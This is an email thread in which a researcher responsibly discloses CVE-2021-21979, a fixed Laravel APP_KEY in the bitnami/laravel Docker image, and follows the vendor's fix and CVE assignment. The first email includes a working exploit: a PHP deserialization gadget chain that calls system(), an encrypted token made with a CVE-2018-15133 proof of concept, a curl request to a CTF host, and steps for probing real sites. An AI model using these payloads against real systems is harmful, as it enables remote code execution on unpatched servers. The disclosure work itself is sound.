tags: email

Original Mails with Bitnami for CVE-2021-21979

[1] [Vulnerability Report] APP_KEY is fixed in docker image bitnami/laravel

st0n3 ss ssst0n3@gmail.com 23 February 2021 at 15:58

To: security@vmware.com

Hello, bitnami!

I am a security researcher. Seems I have found a vulnerability in docker image bitnami/laravel. Please check it, thank you!

1. Description

if file /app/config/database.php not exists when users use image bitnami/laravel, the file /app/.env will be replaced by file /tmp/app/.env.

  if [[ ! -f /app/config/database.php ]]; then
    log "Creating laravel application"
    cp -a /tmp/app/. /app/
  fi

However, the file /tmp/app/.env is generated at the time that the docker image bitnami/laravel was built, and the value of APP_KEY is fixed.

Although the APP_KEY will generated randomly each time we install laravel:

// file https://github.com/laravel/laravel/blob/8.x/composer.json
...
"@php artisan key:generate --ansi"

But if we build it as a docker image, the APP_KEY is a fixed value whenever we run it.

Therefore, we can know the value of APP_KEY in all images, and this value is crucial to the security of the laravel framework.

2. A ctf challenge about this vulnerability

I create a ctf challenge for this vulnerability to proove it.

please get the content of file /flag in http://139.159.204.145:3000/

attachments: https://github.com/ssst0n3/ssst0n3_challenges_public/tree/main/container/latest_laravel/attachments

Exploit of this Ctf Challenge

In this challenge, I made the variable $serialize in file EncryptCookies.php be true in order to make attack easier.

    protected static $serialize = true;

We can perform a deserialization attack if only we can get the APP_KEY to encrypt our payload.

And the APP_KEY can be found by iterating over all images.

exploit:

╭─st0n3@yoga in ~/ctf_project/my_challenges/container/latest_laravel/exp on master ✔ (origin/master)
╰$ ./exp.sh 
+ APP_KEY=xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4=
+ python -c import base64;print base64.b64encode("""O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:25:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00queueResolver";s:6:"system";}s:8:"\x00*\x00event";O:34:"Illuminate\\Queue\\CallQueuedClosure":2:{s:10:"connection";s:9:"cat /flag";s:23:"deleteWhenMissingModels";b:0;}}""")
+ PAYLOAD_BASE64=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNDoiSWxsdW1pbmF0ZVxRdWV1ZVxDYWxsUXVldWVkQ2xvc3VyZSI6Mjp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO3M6MjM6ImRlbGV0ZVdoZW5NaXNzaW5nTW9kZWxzIjtiOjA7fX0=
+ ./laravel-poc-CVE-2018-15133/cve-2018-15133.php xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNDoiSWxsdW1pbmF0ZVxRdWV1ZVxDYWxsUXVldWVkQ2xvc3VyZSI6Mjp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO3M6MjM6ImRlbGV0ZVdoZW5NaXNzaW5nTW9kZWxzIjtiOjA7fX0=
PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic

HTTP header for POST request: 
X-XSRF-TOKEN: eyJpdiI6Imp3V0hDRTVFV0ozNk5EdDZpU3hjNUE9PSIsInZhbHVlIjoiN0o4V1VtMUdXeWErOEFjMVBrQXdzMWlpWGFqTWFcL1ljaUdZRmFWM05PODBcLzFxNTNWcXFMckVmak10UWE4RnpJXC9wdkl4WHhaU0hRbEd4YWF6Rlk2T2ppaHYxR2ZFV1RkdFNDK2VuOWEyRCtDYU1aSW5mNTlxTFZBa2prbTYxV29RRm1nMGZ6KzB5cStkT05mTnB0eWVHZXhBbnFhckFKWm9RMFJ6dHNlRW4rOWtOYm85NWNvUGpRUVBXM0p3Y3JQcHRWM01YRk1CeGNJXC81UlRzNCt1S1RZSWhaY2RiRlpRejVOKzdsU0tBUHB2bzFzd3phbVREbFAwRDhyd3dBc0kyWXZWMUh3M2txc0hVUHpIRFwvSG96UXl3QTcrVVFlNXpTVTVWblJMdjYxM3NvYlhYbzhUeWVJbSs2RkE4b3h4UFJ5ZldMalVpd1NPeTROVisyTElqTGE3MjhLazlRVDk1R3owZDhud0JsaTM3cU1pTStIWW9wSlpZZVJ2Z2NrMUsiLCJtYWMiOiI0MTJiMTdlNTRjZmRiZmQ4ODI3YzljZGZmNTQwMzliZWI4NWFjNmViNzY5MDQ5ODgyNTAyNTVhOTc4OWM4NTQ4In0=
╭─st0n3@yoga in ~/ctf_project/my_challenges/container/latest_laravel/exp on master ✔ (origin/master)
╰$ curl -s -H 'Cookie:  X-XSRF-TOKEN: eyJpdiI6Imp3V0hDRTVFV0ozNk5EdDZpU3hjNUE9PSIsInZhbHVlIjoiN0o4V1VtMUdXeWErOEFjMVBrQXdzMWlpWGFqTWFcL1ljaUdZRmFWM05PODBcLzFxNTNWcXFMckVmak10UWE4RnpJXC9wdkl4WHhaU0hRbEd4YWF6Rlk2T2ppaHYxR2ZFV1RkdFNDK2VuOWEyRCtDYU1aSW5mNTlxTFZBa2prbTYxV29RRm1nMGZ6KzB5cStkT05mTnB0eWVHZXhBbnFhckFKWm9RMFJ6dHNlRW4rOWtOYm85NWNvUGpRUVBXM0p3Y3JQcHRWM01YRk1CeGNJXC81UlRzNCt1S1RZSWhaY2RiRlpRejVOKzdsU0tBUHB2bzFzd3phbVREbFAwRDhyd3dBc0kyWXZWMUh3M2txc0hVUHpIRFwvSG96UXl3QTcrVVFlNXpTVTVWblJMdjYxM3NvYlhYbzhUeWVJbSs2RkE4b3h4UFJ5ZldMalVpd1NPeTROVisyTElqTGE3MjhLazlRVDk1R3owZDhud0JsaTM3cU1pTStIWW9wSlpZZVJ2Z2NrMUsiLCJtYWMiOiI0MTJiMTdlNTRjZmRiZmQ4ODI3YzljZGZmNTQwMzliZWI4NWFjNmViNzY5MDQ5ODgyNTAyNTVhOTc4OWM4NTQ4In0=' http://139.159.204.145:3000 |grep flag

3. Real World Scenarios

In the real world, if we find a website using laravel framework, and we guess it’s deployed by bitnami/laravel. We can check whether this vulnerability is exists by:

  1. get cookie from browser
  2. get all APP_KEY in all version bitnami/laravel images
  3. try each APP_KEY until find the one can decrypt the cookie successfully
  4. if we find one, this vulnerability is exists

4. Explanations

Maybe you think this is not a vulnerability, I can try to make some explanations：

The APP_KEY should be provided by users?

There’s a difference between laravel source code and bitnami/laravel: the APP_KEY is generated randomly in source code, but fixed in bitnami/laravel.

It’s not secure by default if we need users to provide APP_KEY.

Most applications have a file /app/config/database.php?

I’m not sure, but I can find some demands about using laravel without a database. And users may not provide database.php to reduce the size of the repository if they do not need to modify this file.

For a container image having so many users like bitnami/laravel, it is possible to use it in a variety of ways.

5. Fix Suggestion

Generate APP_KEY at the time of container start, instead of the build time.

I look forward to hearing from you.

Best wishes, LEI WANG

[2]

Beltran ***** beltran****@vmware.com 24 February 2021 at 01:50

To: st0n3 ss ssst0n3@gmail.com

Cc: J**** j****@vmware.com, M***** m****@vmware.com

Hi LEI WANG,

Thanks for reporting this issue.

Just a note to let you know that we performed changes in the container to avoid having the same APP_KEY. Just as you reported, the boilerplate app generated at container build time. In the new logic, when we detect that no application is present in the /app folder (we are now checking if /app/app exists instead of the database.php file), we will copy the template project and change the app_key using the proper artisan command.

Here you can see that, with new applications, we get different APP_KEY values

$ docker exec 7f cat /app/.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:O+kNcsxdZAq+7rcoIyF+biFAOmJm3VOv+1U8YSrqi+8=

 

$ docker exec c4 cat /app/.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:5t4efQazftkDbaQIabPttUzVQtUvj2JS00cyVnjjavk=

We expect to have the container released by EOD. Thanks again for reporting it.

Best regards,

Beltran

–

Beltran****** (He/Him)

Manager R&D

beltran******@vmware.com

Sevilla (Spain)

[3]

st0n3 ss ssst0n3@gmail.com 24 February 2021 at 10:00

To: Beltran***** beltran*****@vmware.com

Hi Beltran!

Thank you for fixing this vulnerability. You are very professional!

Bitnami provides many user-friendly container images, I really love it! I will continue to contribute in my small way to help build a more secure container supply chain.

By the way, Could you please help me apply a CVE ID?

I look forward to hearing from you.

Best wishes, LEI WANG

[4]

Beltran ***** beltran*****@vmware.com 25 February 2021 at 00:39

To: st0n3 ss ssst0n3@gmail.com

Cc: J**** j****@vmware.com, M***** m******@vmware.com, Bitnami Security bitnami-security@groups.vmware.com

Hi LEI WANG,

Thanks for your feedback and for your contribution to improve the catalog.

In that specific case we think there is not a very strong reason to create a CVE ID for this case:

This is a container mainly for development, focused on develop Laravel apps locally. The recommended way to move to production is to use an Apache or Nginx and PHP-FPM containers. The main purpose of adding the Laravel ‘app’ is for cases where the user did not add his own one. Mainly to start from scratch and have the baseline ready.

Let us know your think in a different way. Independently of this we would be happy to add your name/link to personal website in a section in the README of security researchers/contributors for that Docker image. Could you send us your name or alias that you want to appear there?

Best regards,

Beltran

[5]

st0n3 ss ssst0n3@gmail.com 25 February 2021 at 14:45

To: Beltran***** beltran****@vmware.com

Hi Beltran!

Thanks for your reply. My name is LEI WANG and my personal github account is github.com/ssst0n3 if you would like adding to the README.

I have a few different views on the discussion of requesting a CVE ID. I think this vulnerability should be assigned a CVE ID for the following main reasons.

  1. bitnami/laravel is the only docker image published by a trusted organization and updated frequently every day when I searched on dockerhub. I prefer it to other images published by individual users. So it is reasonable to believe that there are many people using it in production environments.
  2. This vulnerability reveals a new risk for the first time: Even if the source code is secure, it is possible to leak some sensitive information when it was built as an image. This is important for container supply chain security. This may motivate security researchers to pay attention and dig for similar vulnerabilities.

In addition, requesting a CVE ID is good for both bitnami and me, because the industry pays less attention to the security of container images, a CVE ID is an inspiration for me and will attract more researchers to pay attention to the security of bitnami container images continuously.

If the process of applying for CVE has some tedious trouble, I can apply to mitre myself, what do you think?

Looking forward to your reply.

Best wishes. Lei Wang

[6]

Beltran***** beltran****@vmware.com 26 February 2021 at 15:11

To: st0n3 ss ssst0n3@gmail.com

Hi Lei Wang,

Let me recheck your suggestion internally and I will get back to you next week.

Thanks,

[7]

st0n3 ss ssst0n3@gmail.com 26 February 2021 at 15:16

To: Beltran**** beltran**@vmware.com

Thanks a lot!

[8]

Beltran*** beltran****@vmware.com 4 March 2021 at 02:57

To: st0n3 ss ssst0n3@gmail.com

Hi LEI WANG,

Thanks again for the time to reporting it. We created an issue with the information you provided at https://github.com/bitnami/bitnami-docker-laravel/issues/139 Let me know if you have any suggestions. We also added your name and link to your GitHub profile.

We also filled the CVE today and it is now publicly available at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21979

Thanks again for reporting it and for improving the security of the Bitnami Containers catalog.

Best regards,

Beltran

[9]

st0n3 ss ssst0n3@gmail.com 4 March 2021 at 14:06

To: Beltran***** beltran****@vmware.com

Hi Beltran!

I would like to express my deepest appreciation for your excellent work in fixing this vulnerability and requesting a CVE. This is really a great encouragement for me. You guys are very professional, I think I became a big fan of bitnami.

I will pay more attention to the security of bitnami container images continuously. Hope to have the opportunity to communicate with you again.

Thanks again, LEI WANG